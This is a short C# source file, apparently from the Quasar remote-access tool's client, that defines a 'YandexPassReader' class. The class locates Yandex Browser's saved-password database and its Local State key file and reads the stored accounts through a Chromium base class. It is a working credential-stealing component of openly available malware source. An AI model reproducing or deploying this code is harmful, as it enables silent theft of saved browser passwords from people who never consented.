using Quasar.Common.Models; using System; using System.Collections.Generic; using System.IO; namespace Quasar.Client.Recovery.Browsers { public class YandexPassReader : ChromiumBase { /// public override string ApplicationName => "Yandex"; /// public override IEnumerable ReadAccounts() { try { string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Yandex\\YandexBrowser\\User Data\\Default\\Ya Passman Data"); string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Yandex\\YandexBrowser\\User Data\\Local State"); return ReadAccounts(filePath, localStatePath); } catch (Exception) { return new List(); } } } }